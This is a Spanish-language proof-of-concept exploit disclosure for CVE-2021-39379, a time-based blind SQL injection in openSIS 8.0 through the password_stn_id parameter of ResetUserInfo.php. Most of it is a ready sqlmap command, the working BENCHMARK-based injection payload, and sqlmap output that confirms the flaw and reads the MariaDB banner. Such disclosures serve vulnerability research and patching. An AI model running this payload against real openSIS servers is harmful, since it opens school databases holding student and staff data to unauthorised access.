
Exploit de prueba de concepto para CVE-2021-39379, una vulnerabilidad de inyección SQL en openSIS 8.0 a través del parámetro password_stn_id en ResetUserInfo.php, que permite SQLi ciega basada en tiempo contra MySQL/MariaDB.
Existe una vulnerabilidad de inyección SQL en la versión 8.0 de openSIS cuando se utiliza MySQL (MariaDB) como base de datos de la aplicación. Un atacante malicioso puede enviar comandos SQL a la base de datos MySQL (MariaDB) a través del parámetro vulnerable password_stn_id.
Página PHP vulnerable:
ResetUserInfo.php
Payload vulnerable
sqlmap -u "http://localhost:8081/ResetUserInfo.php" --data="pass_user_type=pass_student&pass_type_form=password&password_stn_id=1234&uname=1234&month_password_dob=08&day_password_dob=01&year_password_dob=2021&pass_email=&password_stf_email=" --referer="http://localhost:8081/ForgotPass.php?language=en" --dbms="MySQL" --level=3 --risk=3 --banner --answers="crack=N,dict=N,continue=Y,quit=N"
Inyección SQL:
http://localhost:8081/ResetUserInfo.php
Parámetro: password_stn_id (POST)
Tipo: ciego basado en tiempo
Título: MySQL < 5.0.12 AND ciego basado en tiempo (consulta pesada)
Payload: pass_user_type=pass_student&pass_type_form=password&password_stn_id=1234 AND 1211=BENCHMARK(5000000,MD5(0x6a65474d))&uname=1234&month_password_dob=08&day_password_dob=01&year_password_dob=2021&pass_email=&password_stf_email=
[21:11:37] [INFO] probando MySQL
[21:11:44] [INFO] confirmando MySQL
[21:11:44] [ADVERTENCIA] es muy importante no estresar la conexión de red durante el uso de payloads basados en tiempo para evitar posibles interrupciones
[21:11:56] [INFO] el DBMS backend es MySQL
[21:11:56] [INFO] obteniendo banner
[21:11:56] [INFO] recuperado: 10.5.11-MariaDB-1
tecnología de aplicación web: PHP 7.4.21
DBMS backend: MySQL >= 5.0.0 (fork MariaDB)
banner: '10.5.11-MariaDB-1'
Descubierto por Nathan Johnson, agosto de 2021